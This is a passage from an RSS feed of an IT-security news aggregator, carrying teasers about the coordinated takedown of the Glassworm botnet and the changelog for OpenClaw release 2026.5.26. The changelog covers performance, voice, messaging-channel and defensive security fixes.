<link>https://tsecurity.de/de/3551069/it-security-nachrichten/how-cybersecurity-firms-took-down-glassworm-botnet-in-one-shot/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3551069/it-security-nachrichten/how-cybersecurity-firms-took-down-glassworm-botnet-in-one-shot/</guid>
<pubDate>Wed, 27 May 2026 14:38:31 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Glassworm infected developers through poisoned tools and packages until a coordinated takedown killed all four of its C2 channels at once. On May 26, 2026, at 14:00 UTC, CrowdStrike Counter Adversary Operations team, working with Google and the Shadowserver Foundation,…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/how-cybersecurity-firms-took-down-glassworm-botnet-in-one-shot/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/how-cybersecurity-firms-took-down-glassworm-botnet-in-one-shot/">How cybersecurity firms took down Glassworm botnet in one shot</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[How cybersecurity firms took down Glassworm botnet in one shot]]></title>
<description><![CDATA[Glassworm infected developers through poisoned tools and packages until a coordinated takedown killed all four of its C2 channels at once. On May 26, 2026, at 14:00 UTC, CrowdStrike Counter Adversary Operations team, working with Google and the Shadowserver Foundation, killed all four command-and...]]></description>
<link>https://tsecurity.de/de/3551034/it-security-nachrichten/how-cybersecurity-firms-took-down-glassworm-botnet-in-one-shot/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3551034/it-security-nachrichten/how-cybersecurity-firms-took-down-glassworm-botnet-in-one-shot/</guid>
<pubDate>Wed, 27 May 2026 14:23:53 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Glassworm infected developers through poisoned tools and packages until a coordinated takedown killed all four of its C2 channels at once. On May 26, 2026, at 14:00 UTC, CrowdStrike Counter Adversary Operations team, working with Google and the Shadowserver Foundation, killed all four command-and-control channels of the Glassworm botnet at the same time. The timing […]]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenClaw 2026.5.26]]></title>
<description><![CDATA[2026.5.26
Highlights

Faster Gateway and replies: startup avoids repeated plugin, channel, session, usage-cost, warning, scheduled-service, and filesystem scans; visible replies separate user-facing sends from slower follow-up work; Gateway runtime/session caches churn less under load.
Transcript...]]></description>
<link>https://tsecurity.de/de/3550892/downloads/openclaw-2026526/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3550892/downloads/openclaw-2026526/</guid>
<pubDate>Wed, 27 May 2026 13:46:34 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>2026.5.26</h2>
<h3>Highlights</h3>
<ul>
<li>Faster Gateway and replies: startup avoids repeated plugin, channel, session, usage-cost, warning, scheduled-service, and filesystem scans; visible replies separate user-facing sends from slower follow-up work; Gateway runtime/session caches churn less under load.</li>
<li>Transcripts are core: transcript-backed meeting summaries, source-provider chunks, cleaned user turns, media provenance, Codex mirrors, WebChat replies, and CLI/TUI replay now use one more reliable transcript path.</li>
<li>More channels are production-ready: Telegram keeps typing/progress context and forum topics, iMessage handles attachment roots, remote media staging, and duplicate local Messages sources, WhatsApp restores group/media behavior, Discord improves voice playback and model picking, and Signal/iMessage/WhatsApp get reaction approvals.</li>
<li>Better voice and Talk: realtime Talk runs can be inspected, steered, cancelled, or followed up from Web UI and Discord voice; wake-name handling is more tolerant without letting ambient speech trigger agents.</li>
<li>Safer content boundaries: Browser snapshot reads honor SSRF policy, system-event text cannot spoof nested prompt markers, fetched file text is wrapped as external content, ClickClack inbound sender allowlists run before agent dispatch, stale device tokens are rejected, and serialized tool-call text is scrubbed from replies.</li>
<li>Providers, Codex, and local models are steadier: named auth profiles, OpenAI sampling params, Codex app-server resume/timeout/usage-limit recovery, dynamic tool-schema guards, xAI usage-limit surfacing, Ollama top-p normalization, and local approval resolution reduce provider-specific dead ends.</li>
<li>More reliable install/update/release paths: Alpine installs, trusted runtime fallback roots, stable update channels, Docker/package timeouts, Windows Scheduled Tasks, Windows/macOS proof lanes, Testbox/Crabbox delegation, plugin publish checks, and macOS runner bootstraps all got hardened.</li>
<li>Better observability: Activity tab, gateway secret-prep traces, tool/model stream progress, explicit fast-mode status, systemd Gateway hygiene, OpenTelemetry LLM spans, release performance evidence, and richer telemetry signals make failures easier to inspect.</li>
</ul>
<h3>Changes</h3>
<ul>
<li>Transcripts: add core transcript capture and source-provider support for transcript-backed meeting summaries, including the renamed Transcripts docs, CLI surface, source-provider chunks, and cleaned user-turn persistence.</li>
<li>Auth: add named model login profiles and supported credential migration for Hermes, OpenCode, and Codex auth profiles, with explicit opt-out and non-interactive controls. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4507376112" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85667" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85667/hovercard" href="https://github.com/openclaw/openclaw/pull/85667">#85667</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</li>
<li>Diagnostics: trace gateway secret preparation, classify skill/tool usage, surface model stream progress, add OpenTelemetry LLM content spans, and expose alertable telemetry for blocked tools, failover, stale sessions, liveness, oversized payloads, and webhook ingress. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462942195" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83019" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83019/hovercard" href="https://github.com/openclaw/openclaw/pull/83019">#83019</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416373435" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80370" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80370/hovercard" href="https://github.com/openclaw/openclaw/pull/80370">#80370</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4512822495" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86191" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86191/hovercard" href="https://github.com/openclaw/openclaw/pull/86191">#86191</a>)</li>
<li>Channels: add Signal reaction approvals, iMessage thumb approval reactions, and WhatsApp thumb approval reaction support so mobile approval flows work without textual <code>/approve</code> commands. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510153620" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85894" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85894/hovercard" href="https://github.com/openclaw/openclaw/pull/85894">#85894</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510696445" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85952" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85952/hovercard" href="https://github.com/openclaw/openclaw/pull/85952">#85952</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4504724227" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85477" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85477/hovercard" href="https://github.com/openclaw/openclaw/pull/85477">#85477</a>)</li>
<li>Agents/API: forward OpenAI sampling params through the Gateway and expose estimated context-budget status for active agent runs. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4476707401" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84094" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84094/hovercard" href="https://github.com/openclaw/openclaw/pull/84094">#84094</a>)</li>
<li>TUI/status: queue prompts submitted while an agent is busy and show explicit fast-mode state plus richer systemd Gateway hygiene in status output. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520738163" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86722" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86722/hovercard" href="https://github.com/openclaw/openclaw/pull/86722">#86722</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4528872767" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87115" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87115/hovercard" href="https://github.com/openclaw/openclaw/pull/87115">#87115</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526043965" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86976" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86976/hovercard" href="https://github.com/openclaw/openclaw/pull/86976">#86976</a>)</li>
<li>Exec approvals: hide durable approval actions that are unavailable for the current prompt and keep approval runtime tokens local-only so stale prompts cannot offer misleading controls. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513659607" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86270" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86270/hovercard" href="https://github.com/openclaw/openclaw/pull/86270">#86270</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514921556" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86359" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86359/hovercard" href="https://github.com/openclaw/openclaw/pull/86359">#86359</a>)</li>
<li>Plugin SDK: add reaction approval helpers and keep diagnostic event root exports discoverable across function-name and alias-bound module graphs. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520951336" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86735" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86735/hovercard" href="https://github.com/openclaw/openclaw/pull/86735">#86735</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4528316238" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87084" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87084/hovercard" href="https://github.com/openclaw/openclaw/pull/87084">#87084</a>)</li>
<li>Android/iOS: add the Android pair-new-gateway action and improve mobile Talk mode surfaces, including iOS realtime Talk mode and Android offline voice/gateway recovery. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4522311194" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86798" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86798/hovercard" href="https://github.com/openclaw/openclaw/pull/86798">#86798</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514830688" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86355" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86355/hovercard" href="https://github.com/openclaw/openclaw/pull/86355">#86355</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ngutman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ngutman">@ngutman</a>.</li>
<li>Performance: cache plugin metadata snapshots, package realpaths, stable gateway metadata, model cost indexes, channel resolution, usage-cost indexes, and session/auth hot-path facts so common Gateway and reply paths do less rediscovery. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4488512713" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84649" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84649/hovercard" href="https://github.com/openclaw/openclaw/pull/84649">#84649</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4509730151" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85843" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85843/hovercard" href="https://github.com/openclaw/openclaw/pull/85843">#85843</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517570243" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86517" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86517/hovercard" href="https://github.com/openclaw/openclaw/pull/86517">#86517</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520170077" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86678" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86678/hovercard" href="https://github.com/openclaw/openclaw/pull/86678">#86678</a>)</li>
<li>Voice: expose shared realtime turn-context tracking through the realtime voice SDK and reuse it for Discord speaker attribution and wake-name context recovery.</li>
<li>Voice: reuse shared realtime output activity tracking in Google Meet command and node audio bridges, including recent-output checks for local barge-in detection.</li>
<li>Voice: expose shared realtime output activity tracking through the realtime voice SDK and reuse it for Discord playback activity and barge-in decisions.</li>
<li>Voice: expose shared realtime consult question matching, speakable-result extraction, and alias-aware forced-consult coordination through the realtime voice SDK, then reuse it in Gateway Talk, Voice Call, and Discord voice paths.</li>
<li>Voice: share activation-name matching and consult-transcript screening through the realtime voice SDK so Discord, browser voice, and meeting surfaces can reuse one implementation.</li>
<li>Cron: default <code>cron.maxConcurrentRuns</code> to 8 so scheduled automations and their isolated agent turns can make progress in parallel without explicit configuration.</li>
<li>QA-Lab: add <code>qa coverage --match &lt;query&gt;</code> so focused proof selection can discover matching scenarios from existing metadata before running live or remote lanes.</li>
<li>Discord/model picker: surface an alpha-bucket select (e.g. <code>A–G (12) · H–N (18) · O–Z (5)</code>) when the provider list or a provider's model list exceeds 25 items, so configs with <code>provider/*</code> wildcards stay one click from the right page instead of paginating through prev/next; falls back to numeric chunks when every item shares the same first letter.</li>
<li>Control UI: add an ephemeral Activity tab for sanitized live tool activity summaries without persisting raw telemetry. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3917789057" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/12831" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/12831/hovercard" href="https://github.com/openclaw/openclaw/issues/12831">#12831</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BunsDev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BunsDev">@BunsDev</a>.</li>
<li>Build: include <code>ui:build</code> in the <code>full</code> and <code>ciArtifacts</code> profiles of <code>scripts/build-all.mjs</code> so <code>pnpm build</code> always rebuilds <code>dist/control-ui</code> after <code>tsdown</code> cleans <code>dist</code>, removing the second-command requirement and the missing-asset failure mode for source/runtime installs and CI artifact uploads. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499721411" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85206" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85206/hovercard" href="https://github.com/openclaw/openclaw/issues/85206">#85206</a>)</li>
<li>iOS: improve Talk mode with direct realtime voice sessions, compact toolbar status, and responsive voice waveform feedback. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514830688" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86355" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86355/hovercard" href="https://github.com/openclaw/openclaw/pull/86355">#86355</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ngutman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ngutman">@ngutman</a>.</li>
<li>Media: replace the Sharp image backend with Rastermill for metadata, resizing, EXIF orientation, and PNG alpha-preserving optimization so OpenClaw no longer installs Sharp or the WhatsApp Jimp fallback for image processing. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4516124165" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86437" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86437/hovercard" href="https://github.com/openclaw/openclaw/pull/86437">#86437</a>)</li>
<li>Codex: update the bundled Codex CLI to 0.134.0 and keep native compaction disabled for budget-triggered app-server turns so OpenClaw owns the recovery boundary. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4521805566" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86772" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86772/hovercard" href="https://github.com/openclaw/openclaw/pull/86772">#86772</a>)</li>
</ul>
<h3>Fixes</h3>
<ul>
<li>
<p>Memory/security: reject prompt-like text submitted through the explicit <code>memory_store</code> tool before embedding or storage, matching the existing auto-capture prompt-injection filter. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4529278840" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87142" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87142/hovercard" href="https://github.com/openclaw/openclaw/pull/87142">#87142</a>)</p>
</li>
<li>
<p>Gateway/security: enable the default auth rate limiter for remote non-browser and HTTP gateway auth failures when <code>gateway.auth.rateLimit</code> is unset, while preserving the loopback exemption. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4529328719" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87148" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87148/hovercard" href="https://github.com/openclaw/openclaw/pull/87148">#87148</a>)</p>
</li>
<li>
<p>Security/content boundaries: validate Browser snapshot tab URLs against SSRF policy before ChromeMCP or direct CDP reads, sanitize queued system-event text so untrusted plugin/channel labels cannot spoof nested prompt markers, wrap fetched file text and metadata as external content, apply ClickClack <code>allowFrom</code> sender allowlists before agent dispatch, reject RPCs from invalidated device-token clients during rotation, require staged sandbox media refs, and scrub serialized tool-call text from replies. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4392560789" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/78526" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/78526/hovercard" href="https://github.com/openclaw/openclaw/pull/78526">#78526</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4528542196" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87094" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87094/hovercard" href="https://github.com/openclaw/openclaw/pull/87094">#87094</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4528022916" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87062" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87062/hovercard" href="https://github.com/openclaw/openclaw/pull/87062">#87062</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4472152384" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83741" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83741/hovercard" href="https://github.com/openclaw/openclaw/pull/83741">#83741</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4317741554" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70707" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/70707/hovercard" href="https://github.com/openclaw/openclaw/pull/70707">#70707</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4524708660" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86924" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86924/hovercard" href="https://github.com/openclaw/openclaw/pull/86924">#86924</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zsxsoft/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zsxsoft">@zsxsoft</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ttzero25/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ttzero25">@ttzero25</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mmaps/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mmaps">@mmaps</a>.</p>
</li>
<li>
<p>Transcripts/user turns: persist CLI, WebChat, media, follow-up, hook, and Codex-mirror user turns to the admitted session target; keep cleaned transcript text, inline image routing, provenance metadata, replay hooks, and fallback paths idempotent when runtimes fail or restart.</p>
</li>
<li>
<p>TUI/status/onboarding/UI: queue busy TUI prompts instead of dropping them, preserve the configured default model during onboarding, show failed tool results as errors, show config-open failures in Control UI, keep status JSON plugin scans healthy, preserve xAI usage-limit errors locally, and expose explicit fast-mode/systemd state. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520738163" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86722" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86722/hovercard" href="https://github.com/openclaw/openclaw/pull/86722">#86722</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526651884" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87000" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87000/hovercard" href="https://github.com/openclaw/openclaw/pull/87000">#87000</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508988920" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85786" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85786/hovercard" href="https://github.com/openclaw/openclaw/pull/85786">#85786</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4528777005" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87108" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87108/hovercard" href="https://github.com/openclaw/openclaw/pull/87108">#87108</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526678539" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87001" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87001/hovercard" href="https://github.com/openclaw/openclaw/pull/87001">#87001</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4519059143" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86614" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86614/hovercard" href="https://github.com/openclaw/openclaw/pull/86614">#86614</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4528872767" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87115" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87115/hovercard" href="https://github.com/openclaw/openclaw/pull/87115">#87115</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526043965" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86976" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86976/hovercard" href="https://github.com/openclaw/openclaw/pull/86976">#86976</a>)</p>
</li>
<li>
<p>Plugin commands/SDK: preserve plugin LLM command auth, bind native plugin command dispatch to the host agent's LLM auth, keep <code>onDiagnosticEvent</code> exports discoverable through <code>Function.name</code>, stabilize diagnostic event root aliases, correlate pathless read diagnostics, suppress transient runner failures in channel command paths, and repair local approval resolution. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510573276" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85936" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85936/hovercard" href="https://github.com/openclaw/openclaw/pull/85936">#85936</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4528316238" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87084" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87084/hovercard" href="https://github.com/openclaw/openclaw/pull/87084">#87084</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526051671" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86977" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86977/hovercard" href="https://github.com/openclaw/openclaw/pull/86977">#86977</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4528108015" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87069" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87069/hovercard" href="https://github.com/openclaw/openclaw/pull/87069">#87069</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4521793733" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86771" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86771/hovercard" href="https://github.com/openclaw/openclaw/pull/86771">#86771</a>)</p>
</li>
<li>
<p>Codex/providers: keep WebChat delivery hints out of user prompts, avoid false queued-terminal idle timeouts, share the native hook relay registry, quarantine unsupported dynamic tool schemas, preserve Claude resumed-session system prompts, normalize greedy Ollama <code>top_p</code>, preserve per-agent thinking defaults for ingress runs, and avoid native compaction takeover on budget-triggered Codex turns. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4528562037" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87096" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87096/hovercard" href="https://github.com/openclaw/openclaw/pull/87096">#87096</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347364384" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73950" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73950/hovercard" href="https://github.com/openclaw/openclaw/pull/73950">#73950</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4527698191" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87049" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87049/hovercard" href="https://github.com/openclaw/openclaw/pull/87049">#87049</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520410864" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86689" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86689/hovercard" href="https://github.com/openclaw/openclaw/pull/86689">#86689</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4521805566" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86772" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86772/hovercard" href="https://github.com/openclaw/openclaw/pull/86772">#86772</a>)</p>
</li>
<li>
<p>Gateway/perf/release: reuse startup-warning metadata and prepared auth stores, avoid cloning live-switch and lifecycle session caches on read paths, defer warning and scheduled-service fallback imports, trim Gateway session/startup/runtime CPU churn, skip duplicate turn session touches, stop chat timeout fallback cascades, drop stale subagent announce history, bound benchmark/watch/kitchen-sink teardown waits, bound macOS/package/onboarding/plugin smoke commands, bound install finalization probes, resolve Parallels npm-update commands from guest <code>PATH</code>, and bootstrap raw AWS macOS Node/pnpm commands through <code>/usr/bin/env</code>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526462111" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86997" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86997/hovercard" href="https://github.com/openclaw/openclaw/pull/86997">#86997</a>)</p>
</li>
<li>
<p>Reply/perf: reduce visible reply delivery latency by preserving Telegram typing/progress context, lazy-loading slash-command startup metadata, avoiding hot-path model hydration, flag-gating Codex profiler timing, deferring context compaction maintenance, and tracking delivery timing. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526356002" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86989" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86989/hovercard" href="https://github.com/openclaw/openclaw/pull/86989">#86989</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526356249" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86990" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86990/hovercard" href="https://github.com/openclaw/openclaw/pull/86990">#86990</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526356645" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86991" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86991/hovercard" href="https://github.com/openclaw/openclaw/pull/86991">#86991</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526356932" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86992" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86992/hovercard" href="https://github.com/openclaw/openclaw/pull/86992">#86992</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526357185" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86993" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86993/hovercard" href="https://github.com/openclaw/openclaw/pull/86993">#86993</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526357498" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86994" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86994/hovercard" 